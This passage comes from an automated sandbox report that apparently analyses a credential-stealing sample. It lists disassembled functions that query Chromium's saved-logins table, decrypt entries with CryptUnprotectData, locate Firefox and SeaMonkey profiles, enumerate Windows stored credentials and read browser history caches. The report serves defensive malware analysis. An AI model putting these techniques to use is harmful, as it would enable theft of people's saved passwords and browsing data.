                                                                                                              • WriteFile.KERNELBASE(?,00000000,00000104,004091EB,00000000), ref: 00408C20
                                                                                                              • UnmapViewOfFile.KERNELBASE(00000000), ref: 00408C27
                                                                                                              • CloseHandle.KERNELBASE(?), ref: 00408C30
                                                                                                              • CloseHandle.KERNEL32(?), ref: 00408C35
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00408C3A
                                                                                                              • CloseHandle.KERNEL32(00000000), ref: 00408C3F
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWritememset
                                                                                                              • String ID: Microsoft\Windows\WebCache\WebCacheV01.dat$bhv
                                                                                                              • API String ID: 465578084-4002013007
                                                                                                              • Opcode ID: 92f9f1b067ef90b6ccee0d8b67f312e4d5537bffff8df701e651ec9a81ff62ca
                                                                                                              • Instruction ID: 68c5544b499915da94545e51db83da674be7fd43246ed759ba52d344f26358cd
                                                                                                              • Opcode Fuzzy Hash: 92f9f1b067ef90b6ccee0d8b67f312e4d5537bffff8df701e651ec9a81ff62ca
                                                                                                              • Instruction Fuzzy Hash: CD412775901218BBDF11AF95CD899DFBFB9EF09751F10802AF608A6250DB349A40CFA9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00402846 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 239fileCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040286E
                                                                                                              • CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00402882
                                                                                                              • CopyFileW.KERNEL32(?,?,00000000), ref: 004028A3
                                                                                                              • CloseHandle.KERNELBASE(00000000), ref: 004028AE
                                                                                                              • memset.MSVCRT ref: 004028C7
                                                                                                              • DeleteFileW.KERNEL32(?,?,?,?,?,00000003,00000000,00000000), ref: 00402B1A
                                                                                                                • Part of subcall function 004074C6: GetTempPathW.KERNEL32(00000104,?), ref: 004074DD
                                                                                                                • Part of subcall function 004074C6: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004074EF
                                                                                                                • Part of subcall function 004074C6: GetTempFileNameW.KERNELBASE(?,00000000,00000000,?), ref: 00407506
                                                                                                              • memset.MSVCRT ref: 0040293C
                                                                                                                • Part of subcall function 004027D7: SystemTimeToFileTime.KERNEL32(?,?), ref: 0040280F
                                                                                                                • Part of subcall function 004027D7: FileTimeToLocalFileTime.KERNEL32(?), ref: 0040283C
                                                                                                                • Part of subcall function 00407DF5: MultiByteToWideChar.KERNEL32(00000000,00000000,004029BE,000000FF,?,?,004029BE,?,?,000003FF), ref: 00407E07
                                                                                                                • Part of subcall function 00403853: LoadLibraryW.KERNEL32(crypt32.dll,?,00000000,004026AC,?,00000090,00000000,?), ref: 00403862
                                                                                                                • Part of subcall function 00403853: GetProcAddress.KERNEL32(00000000,CryptUnprotectData), ref: 00403874
                                                                                                                • Part of subcall function 00403853: FreeLibrary.KERNEL32(00000000), ref: 00403897
                                                                                                              • memset.MSVCRT ref: 00402A95
                                                                                                              • memcpy.MSVCRT ref: 00402AA8
                                                                                                              • LocalFree.KERNEL32(00000000,?,?,000000FF,?,?,?,00000000,00000000,00000003), ref: 00402AD2
                                                                                                              Strings
                                                                                                              • chp, xrefs: 0040288D
                                                                                                              • SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins , xrefs: 00402908
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: File$Timememset$FreeLibraryLocalTemp$AddressByteCharCloseCopyCreateDeleteDirectoryHandleLoadMultiNamePathProcSystemWideWindowsmemcpy
                                                                                                              • String ID: SELECT origin_url, action_url, username_element, username_value, password_element, password_value, signon_realm, date_created from logins $chp
                                                                                                              • API String ID: 3056168783-1844170479
                                                                                                              • Opcode ID: 4b3ca6b317f3d05b09e0fcda193da6d0b39ebc6afa0426e8c9f29a5694c336eb
                                                                                                              • Instruction ID: e637edadd966e00c71b87c8ff6cc297e5f4b8f19ec80fc414d035a4907c068e8
                                                                                                              • Opcode Fuzzy Hash: 4b3ca6b317f3d05b09e0fcda193da6d0b39ebc6afa0426e8c9f29a5694c336eb
                                                                                                              • Instruction Fuzzy Hash: 37815172D001186BDB11EBA59D46BEEB7BCAF04304F5404BAF509F7281EB786F448B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F0D5 Relevance: 21.2, APIs: 12, Strings: 2, Instructions: 159COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 577 40f0d5-40f192 memset * 5 call 412270 * 2 wcslen * 2 582 40f194-40f1ad call 4076a9 577->582 583 40f1af 577->583 585 40f1b6-40f1d9 wcslen * 2 582->585 583->585 587 40f1f6 585->587 588 40f1db-40f1f4 call 4076a9 585->588 590 40f1fd-40f220 wcslen * 2 587->590 588->590 592 40f222-40f23b call 4076a9 590->592 593 40f23d 590->593 594 40f244-40f280 call 40ef37 * 2 call 407e96 call 40f4f7 592->594 593->594 605 40f282 594->605 606 40f2d7-40f2e3 call 407eb8 594->606 608 40f286-40f2c2 memset call 407fe8 call 407447 605->608 614 40f2d1-40f2d5 608->614 615 40f2c4-40f2cc call 407f88 608->615 614->606 617 40f284 614->617 615->614 617->608
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F0F8
                                                                                                              • memset.MSVCRT ref: 0040F10D
                                                                                                              • memset.MSVCRT ref: 0040F122
                                                                                                              • memset.MSVCRT ref: 0040F137
                                                                                                              • memset.MSVCRT ref: 0040F14C
                                                                                                                • Part of subcall function 00412270: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                                • Part of subcall function 00412270: memset.MSVCRT ref: 004122C9
                                                                                                                • Part of subcall function 00412270: RegCloseKey.ADVAPI32(?), ref: 00412330
                                                                                                                • Part of subcall function 00412270: wcscpy.MSVCRT ref: 0041233E
                                                                                                              • wcslen.MSVCRT ref: 0040F172
                                                                                                              • wcslen.MSVCRT ref: 0040F183
                                                                                                              • wcslen.MSVCRT ref: 0040F1BB
                                                                                                              • wcslen.MSVCRT ref: 0040F1C9
                                                                                                              • wcslen.MSVCRT ref: 0040F202
                                                                                                              • wcslen.MSVCRT ref: 0040F210
                                                                                                              • memset.MSVCRT ref: 0040F296
                                                                                                                • Part of subcall function 004076A9: wcscpy.MSVCRT ref: 004076B1
                                                                                                                • Part of subcall function 004076A9: wcscat.MSVCRT ref: 004076C0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$wcslen$wcscpy$CloseFolderPathSpecialwcscat
                                                                                                              • String ID: Mozilla\SeaMonkey$Mozilla\SeaMonkey\Profiles
                                                                                                              • API String ID: 2775653040-2068335096
                                                                                                              • Opcode ID: 18f6131305a60b3f130847a1eef602165254ae3e8930c32a00b7771f504cc504
                                                                                                              • Instruction ID: ad2d2467b554b91bbb49091aa47d9e820c56345a74be7af74479530b55ef6358
                                                                                                              • Opcode Fuzzy Hash: 18f6131305a60b3f130847a1eef602165254ae3e8930c32a00b7771f504cc504
                                                                                                              • Instruction Fuzzy Hash: 2A514472905219AADB20E751DD86ECF73BC9F44344F5004FBF109F6181EBB96B888B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F2E6 Relevance: 21.2, APIs: 12, Strings: 2, Instructions: 159COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 618 40f2e6-40f3a3 memset * 5 call 412270 * 2 wcslen * 2 623 40f3c0 618->623 624 40f3a5-40f3be call 4076a9 618->624 626 40f3c7-40f3ea wcslen * 2 623->626 624->626 628 40f407 626->628 629 40f3ec-40f405 call 4076a9 626->629 631 40f40e-40f431 wcslen * 2 628->631 629->631 633 40f433-40f44c call 4076a9 631->633 634 40f44e 631->634 636 40f455-40f491 call 40ef37 * 2 call 407e96 call 40f4f7 633->636 634->636 646 40f493 636->646 647 40f4e8-40f4f4 call 407eb8 636->647 649 40f497-40f4d3 memset call 407fe8 call 407447 646->649 655 40f4e2-40f4e6 649->655 656 40f4d5-40f4dd call 407f88 649->656 655->647 658 40f495 655->658 656->655 658->649
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F309
                                                                                                              • memset.MSVCRT ref: 0040F31E
                                                                                                              • memset.MSVCRT ref: 0040F333
                                                                                                              • memset.MSVCRT ref: 0040F348
                                                                                                              • memset.MSVCRT ref: 0040F35D
                                                                                                                • Part of subcall function 00412270: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                                • Part of subcall function 00412270: memset.MSVCRT ref: 004122C9
                                                                                                                • Part of subcall function 00412270: RegCloseKey.ADVAPI32(?), ref: 00412330
                                                                                                                • Part of subcall function 00412270: wcscpy.MSVCRT ref: 0041233E
                                                                                                              • wcslen.MSVCRT ref: 0040F383
                                                                                                              • wcslen.MSVCRT ref: 0040F394
                                                                                                              • wcslen.MSVCRT ref: 0040F3CC
                                                                                                              • wcslen.MSVCRT ref: 0040F3DA
                                                                                                              • wcslen.MSVCRT ref: 0040F413
                                                                                                              • wcslen.MSVCRT ref: 0040F421
                                                                                                              • memset.MSVCRT ref: 0040F4A7
                                                                                                                • Part of subcall function 004076A9: wcscpy.MSVCRT ref: 004076B1
                                                                                                                • Part of subcall function 004076A9: wcscat.MSVCRT ref: 004076C0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$wcslen$wcscpy$CloseFolderPathSpecialwcscat
                                                                                                              • String ID: Mozilla\Firefox$Mozilla\Firefox\Profiles
                                                                                                              • API String ID: 2775653040-3369679110
                                                                                                              • Opcode ID: ac2960c7c8775963d9ae5b6668c4b7d17b3d9d294ecd60d63349e7bf8572b4d3
                                                                                                              • Instruction ID: 627aa7309af3ce9e50a65207db29ad7cec2a96110015b88e099c10597549be0d
                                                                                                              • Opcode Fuzzy Hash: ac2960c7c8775963d9ae5b6668c4b7d17b3d9d294ecd60d63349e7bf8572b4d3
                                                                                                              • Instruction Fuzzy Hash: B15174729052196ADB20EB51CD85ECF73BC9F54304F5004FBF508F2081EBB96B888B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0041139E Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 659 41139e-4113a1 660 4113f3 659->660 661 4113a3-4113f2 LoadLibraryW GetProcAddress * 5 659->661 661->660
                                                                                                              APIs
                                                                                                              • LoadLibraryW.KERNEL32(psapi.dll,00000000,0041137E,00000000,0041126B,00000000,?), ref: 004113A9
                                                                                                              • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004113BD
                                                                                                              • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 004113C9
                                                                                                              • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 004113D5
                                                                                                              • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 004113E1
                                                                                                              • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 004113ED
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$LibraryLoad
                                                                                                              • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                                              • API String ID: 2238633743-70141382
                                                                                                              • Opcode ID: 7d64db311815f5693af3cb75c4746d4d82b2a24bf7d3ef9ccff621f71f8c2f2c
                                                                                                              • Instruction ID: b0fa25657284a8e9196716ee499a251a0e3e908d4b843c37df8f242eb1d66817
                                                                                                              • Opcode Fuzzy Hash: 7d64db311815f5693af3cb75c4746d4d82b2a24bf7d3ef9ccff621f71f8c2f2c
                                                                                                              • Instruction Fuzzy Hash: A3F03478988704AEEB30AF75DC08E07BEF0EFA8B11721892EE0C593650D7799441EF58
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408619 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 159COMMON
                                                                                                              Download Yara Rule

                                                                                                              Control-flow Graph

                                                                                                              • Executed
                                                                                                              • Not Executed
                                                                                                              control_flow_graph 662 408619-408637 call 4037c3 665 4087f2-4087fe call 40383e 662->665 666 40863d-408646 662->666 667 408657 666->667 668 408648-408655 CredEnumerateW 666->668 670 408659-40865b 667->670 668->670 670->665 672 408661-40868a wcslen 670->672 673 408690-408692 672->673 674 4087ec 672->674 673->674 675 408698-4086b8 wcsncmp 673->675 674->665 676 4087dd-4087e6 675->676 677 4086be-4086d5 675->677 676->673 676->674 677->677 678 4086d7-40870b call 403853 677->678 678->676 681 408711-408737 memset 678->681 682 408739 681->682 683 40873b-408781 memcpy 681->683 682->683 684 4087a0-4087bc wcschr 683->684 685 408783-408795 _wcsnicmp 683->685 687 4087c7-4087d7 LocalFree 684->687 688 4087be-4087c4 684->688 685->684 686 408797-40879d 685->686 686->684 687->676 688->687
                                                                                                              APIs
                                                                                                                • Part of subcall function 004037C3: LoadLibraryW.KERNEL32(advapi32.dll,00000000,00408635,?,00000000,?), ref: 004037D0
                                                                                                                • Part of subcall function 004037C3: GetProcAddress.KERNEL32(00000000,CredReadA,?), ref: 004037E9
                                                                                                                • Part of subcall function 004037C3: GetProcAddress.KERNEL32(?,CredFree), ref: 004037F5
                                                                                                                • Part of subcall function 004037C3: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00403801
                                                                                                                • Part of subcall function 004037C3: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 0040380D
                                                                                                                • Part of subcall function 004037C3: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 00403819
                                                                                                              • CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 00408652
                                                                                                              • wcslen.MSVCRT ref: 00408678
                                                                                                              • wcsncmp.MSVCRT(?,?,?,?,00000000,?), ref: 004086AE
                                                                                                              • memset.MSVCRT ref: 00408725
                                                                                                              • memcpy.MSVCRT ref: 00408746
                                                                                                              • _wcsnicmp.MSVCRT ref: 0040878B
                                                                                                              • wcschr.MSVCRT ref: 004087B3
                                                                                                              • LocalFree.KERNEL32(?,?,?,?,?,00000001,?,?,00000000,?), ref: 004087D7
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: AddressProc$CredEnumerateFreeLibraryLoadLocal_wcsnicmpmemcpymemsetwcschrwcslenwcsncmp
                                                                                                              • String ID: J$Microsoft_WinInet$Microsoft_WinInet_
                                                                                                              • API String ID: 1313344744-1864008983
                                                                                                              • Opcode ID: 212f3f294c9ab8b83a3dc136b78cffcc3e5b2f11c9e98eede468f190287508d3
                                                                                                              • Instruction ID: ae9214853af189039b11f9ecdcfbf9e5a6a1e8940f9aa775dff38fc8017bd4cb
                                                                                                              • Opcode Fuzzy Hash: 212f3f294c9ab8b83a3dc136b78cffcc3e5b2f11c9e98eede468f190287508d3
                                                                                                              • Instruction Fuzzy Hash: E45129B5D00209AFDB20DFA4C981A9EB7F8FF08304F14446EE959F7241EB34A945CB19
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00442628 Relevance: 18.1, APIs: 12, Instructions: 134COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: HandleModule_initterm$EnvironmentInfoStartupStrings__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                                                                                                              • String ID:
                                                                                                              • API String ID: 2791496988-0
                                                                                                              • Opcode ID: c0523eba28cc456e55dc8711b9221e28c9e3236c1c393efd04d0a35b8240f2f2
                                                                                                              • Instruction ID: 706d3d187beade5fd8be42c29aa928e65c4a76933a7b40434c1f532ca5c4ff1d
                                                                                                              • Opcode Fuzzy Hash: c0523eba28cc456e55dc8711b9221e28c9e3236c1c393efd04d0a35b8240f2f2
                                                                                                              • Instruction Fuzzy Hash: 1E51C674C00305DFEB21AF64DA44AADB7B4FB05B15FA0422BF811A7291D7B84982CF5C
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409508 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040952C
                                                                                                                • Part of subcall function 00412270: SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001A,00000000), ref: 004122AA
                                                                                                                • Part of subcall function 004090DF: memset.MSVCRT ref: 00409102
                                                                                                                • Part of subcall function 004090DF: memset.MSVCRT ref: 0040911A
                                                                                                                • Part of subcall function 004090DF: wcslen.MSVCRT ref: 00409136
                                                                                                                • Part of subcall function 004090DF: wcslen.MSVCRT ref: 00409145
                                                                                                                • Part of subcall function 004090DF: wcslen.MSVCRT ref: 0040918C
                                                                                                                • Part of subcall function 004090DF: wcslen.MSVCRT ref: 0040919B
                                                                                                                • Part of subcall function 004085EB: ??2@YAPAXI@Z.MSVCRT ref: 004085F4
                                                                                                              • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 004095A1
                                                                                                              • wcschr.MSVCRT ref: 004095B8
                                                                                                              • wcschr.MSVCRT ref: 004095D8
                                                                                                              • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 004095FD
                                                                                                              • GetLastError.KERNEL32 ref: 00409607
                                                                                                              • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 00409633
                                                                                                              • FindCloseUrlCache.WININET(?), ref: 00409644
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CacheFindwcslen$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
                                                                                                              • String ID: visited:
                                                                                                              • API String ID: 615219573-1702587658
                                                                                                              • Opcode ID: 8f876ec4458d3f1ed4e4dc218a1084821821df0a90adecac85d6e07ab5b1aeff
                                                                                                              • Instruction ID: 77a6c5406e07bb2a3f369751b76910ce3bd9900599f044f3c0855e39104cf3e1
                                                                                                              • Opcode Fuzzy Hash: 8f876ec4458d3f1ed4e4dc218a1084821821df0a90adecac85d6e07ab5b1aeff
                                                                                                              • Instruction Fuzzy Hash: 7F417F72D00219BBDB11DF95CD85A9EBBB8EF05714F10406AE505F7281DB38AF41CBA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409FF5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 104COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A034
                                                                                                              • wcscpy.MSVCRT ref: 0040A076
                                                                                                                • Part of subcall function 0040A4E7: memset.MSVCRT ref: 0040A4FA
                                                                                                                • Part of subcall function 0040A4E7: _itow.MSVCRT ref: 0040A508
                                                                                                              • wcslen.MSVCRT ref: 0040A094
                                                                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,?,0040B09A,?,0040E241,00000000,00000000,?), ref: 0040A0A2
                                                                                                              • LoadStringW.USER32(00000000,00000007,00000FFF,?), ref: 0040A0CD
                                                                                                              • memcpy.MSVCRT ref: 0040A10D
                                                                                                                • Part of subcall function 00409F53: ??2@YAPAXI@Z.MSVCRT ref: 00409F8D
                                                                                                                • Part of subcall function 00409F53: ??2@YAPAXI@Z.MSVCRT ref: 00409FAB
                                                                                                                • Part of subcall function 00409F53: ??2@YAPAXI@Z.MSVCRT ref: 00409FC9
                                                                                                                • Part of subcall function 00409F53: ??2@YAPAXI@Z.MSVCRT ref: 00409FE7
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
                                                                                                              • String ID: HQ/$PU/$strings
                                                                                                              • API String ID: 3166385802-3382568140
                                                                                                              • Opcode ID: 87213f91dec3db501add7610991c2df7427240ace99253c04b166c5a9059b18a
                                                                                                              • Instruction ID: f88dad89c8a087f2027bd78e20ebd55682c2f8a720c3c381d0e8595ecd4ac891
                                                                                                              • Opcode Fuzzy Hash: 87213f91dec3db501add7610991c2df7427240ace99253c04b166c5a9059b18a
                                                                                                              • Instruction Fuzzy Hash: 84419A792003059BD7149F18EC91F323365F76430AB99053AE802A73B2DB79EC22CB1E
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408C67 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 004059F7: _wcsicmp.MSVCRT ref: 00405A28
                                                                                                              • memset.MSVCRT ref: 00408CAF
                                                                                                                • Part of subcall function 00405CF6: memset.MSVCRT ref: 00405DF2
                                                                                                              • free.MSVCRT(000000FF,?,000000FF,00000000,00000104,74EC13E0), ref: 00408D7D
                                                                                                                • Part of subcall function 00408801: _wcsicmp.MSVCRT ref: 0040881A
                                                                                                                • Part of subcall function 00408116: wcslen.MSVCRT ref: 00408125
                                                                                                                • Part of subcall function 00408116: _memicmp.MSVCRT ref: 00408153
                                                                                                              • _snwprintf.MSVCRT ref: 00408D49
                                                                                                                • Part of subcall function 00407EDE: wcslen.MSVCRT ref: 00407EF0
                                                                                                                • Part of subcall function 00407EDE: free.MSVCRT(?,00000001,?,00000000,?,?,0040833F,?,000000FF), ref: 00407F16
                                                                                                                • Part of subcall function 00407EDE: free.MSVCRT(?,00000001,?,00000000,?,?,0040833F,?,000000FF), ref: 00407F39
                                                                                                                • Part of subcall function 00407EDE: memcpy.MSVCRT ref: 00407F5D
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                                              • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                                              • API String ID: 2804212203-2982631422
                                                                                                              • Opcode ID: 7bd5ab009cbfd9fcdb96c191ae6412ae2e80316867491f73be5c6299af195905
                                                                                                              • Instruction ID: ce292a4a65043f2a6a20625204029b960355a9169e5f8c073e361fa6e4a76ec5
                                                                                                              • Opcode Fuzzy Hash: 7bd5ab009cbfd9fcdb96c191ae6412ae2e80316867491f73be5c6299af195905
                                                                                                              • Instruction Fuzzy Hash: 1E313E72D00219AADF50EFA5DD85ADEB7B8AF04354F50017FA508B21C1DE78AE458F68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040320A Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 116COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00402778: free.MSVCRT(00000000,0040E508,?,?,?,?,?,/deleteregkey,/savelangfile,?,?), ref: 0040277F
                                                                                                                • Part of subcall function 00410168: memset.MSVCRT ref: 004101DA
                                                                                                                • Part of subcall function 00410168: wcsrchr.MSVCRT ref: 004101F2
                                                                                                                • Part of subcall function 00410168: memset.MSVCRT ref: 004102D9
                                                                                                                • Part of subcall function 0040FF51: SetCurrentDirectoryW.KERNEL32(?,?,?,00403292,?), ref: 0040FF9E
                                                                                                              • memset.MSVCRT ref: 0040330A
                                                                                                              • memcpy.MSVCRT ref: 0040331C
                                                                                                              • wcscmp.MSVCRT ref: 00403348
                                                                                                              • _wcsicmp.MSVCRT ref: 00403385
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memset$CurrentDirectory_wcsicmpfreememcpywcscmpwcsrchr
                                                                                                              • String ID: $J/@$(/
                                                                                                              • API String ID: 1763786148-3438192345
                                                                                                              • Opcode ID: 3e2635990ef3ae62cb2be14a81d094d65f482a135f1bd9a19b0151f057080487
                                                                                                              • Instruction ID: 978c6ac20941b4c482f16f8c8dbf1af5ea5d331337d981433e161efedc4cfbbc
                                                                                                              • Opcode Fuzzy Hash: 3e2635990ef3ae62cb2be14a81d094d65f482a135f1bd9a19b0151f057080487
                                                                                                              • Instruction Fuzzy Hash: 36416B71A083819AD730DF61C945A9BB7E8AF85315F004C3FE88D93681EB7896498B5B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409A34 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 00407EB8: free.MSVCRT(?,00408225,00000000,?,00000000), ref: 00407EBB
                                                                                                                • Part of subcall function 00407EB8: free.MSVCRT(?,?,00408225,00000000,?,00000000), ref: 00407EC3
                                                                                                                • Part of subcall function 00408037: free.MSVCRT(00000000,00408352,00000000,?,00000000), ref: 0040803E
                                                                                                                • Part of subcall function 00409508: memset.MSVCRT ref: 0040952C
                                                                                                                • Part of subcall function 00409508: FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 004095A1
                                                                                                                • Part of subcall function 00409508: wcschr.MSVCRT ref: 004095B8
                                                                                                                • Part of subcall function 00409508: wcschr.MSVCRT ref: 004095D8
                                                                                                                • Part of subcall function 00409508: FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 004095FD
                                                                                                                • Part of subcall function 00409508: GetLastError.KERNEL32 ref: 00409607
                                                                                                                • Part of subcall function 00409657: memset.MSVCRT ref: 004096C7
                                                                                                                • Part of subcall function 00409657: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001), ref: 004096F5
                                                                                                                • Part of subcall function 00409657: _wcsupr.MSVCRT ref: 0040970F
                                                                                                                • Part of subcall function 00409657: memset.MSVCRT ref: 0040975E
                                                                                                                • Part of subcall function 00409657: RegEnumValueW.ADVAPI32(?,00000000,?,000000FF,00000000,?,00000000,80000001), ref: 00409789
